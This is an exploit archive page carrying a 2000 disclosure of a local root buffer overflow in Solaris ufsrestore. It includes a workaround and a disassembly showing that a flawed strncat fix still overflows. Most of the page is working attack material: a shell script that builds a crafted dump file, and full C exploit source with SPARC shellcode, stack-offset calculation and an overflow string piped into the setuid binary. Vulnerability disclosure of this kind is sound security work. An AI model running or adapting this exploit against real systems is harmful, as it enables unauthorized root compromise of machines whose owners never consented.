what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ufsroot.c

ufsroot.c
Posted Jun 15, 2000
Authored by Job de Haas | Site itsx.com

Solaris 2.x through v8 contains an exploitable local root buffer overflow vulnerability in ufsrestore. Exploit code included and tested on Solaris 8 sun4u.

tags | exploit, overflow, local, root
systems | solaris
SHA-256 | 9eccd7930a0be561b50a1d53fe6f55348b0d0226d0e0e377512167e9747f432d

ufsroot.c

Change Mirror Download

Reading RFP's great initiative on the disclosure policy
( http://www.wiretrip.net/rfp/policy.html ), here is the scoop
on a local root exploit I reported to Sun on May 18th. I received
confirmation on the reception, stated I would disclose in three weeks and
heard nothing since. I've had better experiences with CERT ...

The bug is for Solaris 2.x up to the latest (8). The most disturbing part
about the whole thing is that it remains after someone actually tried to fix
it. I could write a whole blurb about it but a recent thread on AntiSniff
showed all the issues.


Description
-----------

The ufsrestore has an overflow in a buffer holding the pathname/command for
an interactive session.

Impact
------
The buffer overflow can lead to local root compromise.


Workaround
----------
The removal of an executable stack will make exploitation of this
vulnerability very difficult and likely impossible because
/usr/lib/fs/ufs/ufsrestore is a statically linked executable. However,
removal of the setuid bit will in almost every case be acceptable and will
be a guaranteed workaround.

Affected systems
----------------
The exploit has only been tested on Solaris 8 sun4u. However it seems
likely that every previous version is vulnerable including any security
patches previously created.


Background
----------
The programs for performing backups have a history of security problems.
Different Unix distributions have chosen different ways to go about fixing
these. Reducing the permissions has been one of the steps the free Unix
distributions have chosen. Further, most buffer overflow conditions have
been fixed over time. From an older public version of the source a specific
condition can be seen in interactive.c:

http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sbin/restore/interactive.c?rev=1.5

getcmd(curdir, cmd, name, size, ap)

char output[BUFSIZ];
....
(void) strcpy(output, curdir);
(void) strcat(output, "/");
(void) strcat(output, rawname);
canon(output, name, size);

A fix for FreeBSD with the comment "Prevent buffer overflow with extra
long arguments." shows at (URL broken off):

http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sbin/restore/
interactive.c.diff?r1=1.5&r2=1.6

- (void) strcpy(output, curdir);
- (void) strcat(output, "/");
- (void) strcat(output, rawname);
+ snprintf(output, sizeof(output), "%s/%s", curdir, rawname);

However, when disassembling /usr/lib/fs/ufs/ufsrestore, we find:

0x00012538: add %fp, -0x404, %o0
0x0001253c: mov %l3, %o1
0x00012540: call 0x000c058c
0x00012544: mov 0x401, %o2
0x00012548: sethi %hi(0xd9c00), %g2
0x0001254c: add %fp, -0x404, %o0
0x00012550: stb %g0, [%fp - 0x4]
0x00012554: add %g2, 0x64, %o1
0x00012558: call 0x00099f34
0x0001255c: mov 0x401, %o2
0x00012560: add %fp, -0x404, %o0
0x00012564: mov %i3, %o1
0x00012568: stb %g0, [%fp - 0x4]
0x0001256c: call 0x00099f34
0x00012570: mov 0x401, %o2

A reconstruction of what the C-code for this segment would look like, gives
something like:

(void) strncpy(output, curdir, BUFSIZ);
output[BUFSIZ-1] = '\0';
(void) strncat(output, "/", BUFSIZ);
output[BUFSIZ-1] = '\0';
(void) strncat(output, rawname, BUFSIZ);
output[BUFSIZ-1] = '\0';

It needs no further explanation that this is not the way to fix a buffer
overflow.

The attached demonstration is in two parts. A script that needs to be run as
root to create a proper dump file and C code for a program to exploit the
problem with this dump file. The C program is a little big due to some
toying with fixed shell code positioning that I didnt quite finish.

Regards,

Job

--
Job de Haas job@itsx.com
ITSX bv http://www.itsx.com



#!/bin/sh
#
# ufsscript
# Job de Haas
# (c) 2000 ITSX bv
#
# Utility for creating a proper dumpfile to use with the ufsroot exploit.
#
# This utility should be run as root.
# /usr/lib/fs/ufs/ufsrestore has difficulties dealing with long pathnames.
# This script creates a long path a dumps it with /usr/lib/fs/ufs/ufsdump
#

/bin/rm -f /var/tmp/dumpufs
/bin/rm -rf /var/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cd /var/tmp
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/bin/mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
touch a
/usr/lib/fs/ufs/ufsdump f /var/tmp/dumpufs ./a
cd /var/tmp
/bin/rm -rf /var/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
chmod a+r /var/tmp/dumpufs



/*
* ufsroot.c
* Job de Haas
* (c) ITSX bv 2000
*
* This program demonstrates an overflow problem in /usr/lib/fs/ufs/ufsrestore.
* The exploit requires a file called 'dumpufs' created with the accompanying
* 'ufsscript' in the directory /var/tmp. When successful it will execture the
* command '/bin/touch /tmp/root_was_here'. This demonstration has only been
* tested on sun4u Solaris 8.
*
* The problem is a programming error trying to fix an overflow bug.
* The relevant code probably looks something like:
*
* char output[BUFSIZ];
* ....
* (void) strncpy(output, curdir, BUFSIZ);
* (void) strncat(output, "/", BUFSIZ);
* (void) strncat(output, rawname, BUFSIZ);
* canon(output, name, size);
*
* This assumption is based on original restore source code as can been seen in
* http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sbin/restore/interactive.c?rev=1.5
* and dissassembly of the relevant portion of /usr/lib/fs/ufs/ufsrestore.
*
* I toyed a bit with some code to position the shellcode at a well defined
* location, independent of the platform at run time. It does not work very
* well yet. No 64 bit detection yet and often exploits still need some tuning
* of frame pointers or registers anyway.
*
* cc ufsroot.c -o ufsroot
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stack.h>
#include <procfs.h>
#include <fcntl.h>

#define PROG "/usr/lib/fs/ufs/ufsrestore"

#define SHELLCODE_OFFSET 60
#define FP_OFFSET 1280

char sparc_shellcode[] =
"EXPLOIT=xxxxxxxx"
"\x82\x10\x20\x17\x91\xd0\x20\x08\x9a\x03\xe0\x08\xda\x23\xbf\xf4"
"\x9a\x03\xe0\x13\xda\x23\xbf\xf8\xd0\x23\xbf\xfc\xd0\x2b\xe0\x12"
"\xd0\x03\xbf\xf4\x92\x23\xa0\x0c\x94\x23\xa0\x04\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x7f\xff\xff\xf3\x90\x1a\x40\x09\x2f\x62\x69\x6e"
"\x2f\x74\x6f\x75\x63\x68\x58\x2f\x74\x6d\x70\x2f\x72\x6f\x6f\x74"
"\x5f\x77\x61\x73\x5f\x68\x65\x72\x65\x00";

char pad1[] =
"PAD0001=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

char pad2[] =
"PAD0002=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";


main()
{
char *args[4], *envs[5], prog[1024], platform[1024], pathpstatus[1024];
int argc, envc, len, len2, len3, fd, off, totlen;
pstatus_t pstatus;
u_long stacktop, stackstart;
pid_t pid;
int mypipe[2];
FILE *fp;

/*
* Try to estimate the stack accurately so we are independent
* of the platform and arch. No idea how good this all is cause
* I have limited test plaforms.
*/

if (sysinfo(SI_PLATFORM, platform, sizeof(platform))<0) {
perror("sysinfo");
exit(1);
}

realpath(PROG,prog);

args[0] = strdup("ufsrestore");
args[1] = strdup("if");
args[2] = strdup("/var/tmp/dumpufs");
args[3] = NULL;

len2 = strlen(platform) + 1 + strlen(prog) + 1;
len2 = (len2 + 3) & ~3;

pad2[ 243 - (len2 + strlen(sparc_shellcode) + 1) ] = '\0';

envs[0] = strdup(pad1);
envs[1] = strdup(sparc_shellcode);
envs[2] = strdup(pad2);
envs[3] = NULL;

len = 0;
argc = 0;
while (args[argc] != NULL)
len += strlen(args[argc++]) + 1;

envc=0;
len3 = 0;
while (envs[envc] != NULL)
len3 += strlen(envs[envc++]) + 1;

/*
* Try to calculate the proper lengths and sizes. Information on
* on this can (could) be found in /usr/include/sys/* . Still it is
* a bit of magic. Some things changed with sol 8 too. Again padding is
* used to create a predictable location of the shell code.
*/

envs[0][ 255 - (len + (argc + envc + 4) * 4)] = '\0';

/* calculate the offset of the shell code */
off = len + (argc + envc + 3) * 4 + strlen(envs[0]) + 1 + SHELLCODE_OFFSET;

len = ((len3 - ((argc + envc + 4) * 4) + 3) & ~3) + 4;
len += len2;

/* Calculate the total size of the data on the stack. SA is still arch
* dependent (32/64bit) so this part still needs to determine the correct
* size.
*/
totlen = SA(len + (argc + envc + 4) * 4);

/*
* Get the top of the stack. Didn't know how else to get it.
* The idea is you can compile the binary and use it on any arch.
*/

sprintf(pathpstatus,"/proc/%d/status",getpid());

if ((fd = open(pathpstatus, O_RDONLY)) < 0 ) {
perror(pathpstatus);
exit(1);
}

if (read(fd, &pstatus, sizeof (pstatus)) < 0 ) {
(void) close(fd);
perror("read");
exit(1);
}

stacktop = pstatus.pr_stkbase + pstatus.pr_stksize;
stackstart = stacktop - totlen;
(void) close(fd);

/* Create the pipe. */
if (pipe (mypipe)) {
fprintf (stderr, "Pipe failed.\n");
return EXIT_FAILURE;
}

/* Create the child process. */
pid = fork ();
if (pid == (pid_t) 0) {
/* This is the child process. */
close(STDIN_FILENO);
dup2(mypipe[0], STDIN_FILENO);
close(STDOUT_FILENO);
dup2(mypipe[1], STDOUT_FILENO);
close(STDERR_FILENO);
execve(prog, args, envs);
return EXIT_SUCCESS;
} else if (pid < (pid_t) 0) {
/* The fork failed. */
fprintf (stderr, "Fork failed.\n");
return EXIT_FAILURE;
} else {
/* This is the parent process. */
char buf[256];
unsigned long ptr;

/*
* Go into interactive mode with ufsrestore and go into the
* long path. Then give the 'x' command to force ufsrestore to
* return outof the command loop and at the same time overflow the
* path buffer.
*/

fp = fdopen(mypipe[1],"w");
fprintf(fp,"cd /var/tmp/a*/a*/a*/a*\n");fflush(fp);
sprintf(buf,"x ../../aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
ptr = stackstart - FP_OFFSET;
*(long *)&buf[strlen(buf)-33] = ptr;
*(long *)&buf[strlen(buf)-9] = ptr;
ptr = stackstart + off;
*(long *)&buf[strlen(buf)-5] = ptr;
fprintf(fp,buf);fflush(fp);
return EXIT_SUCCESS;
}
}


Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close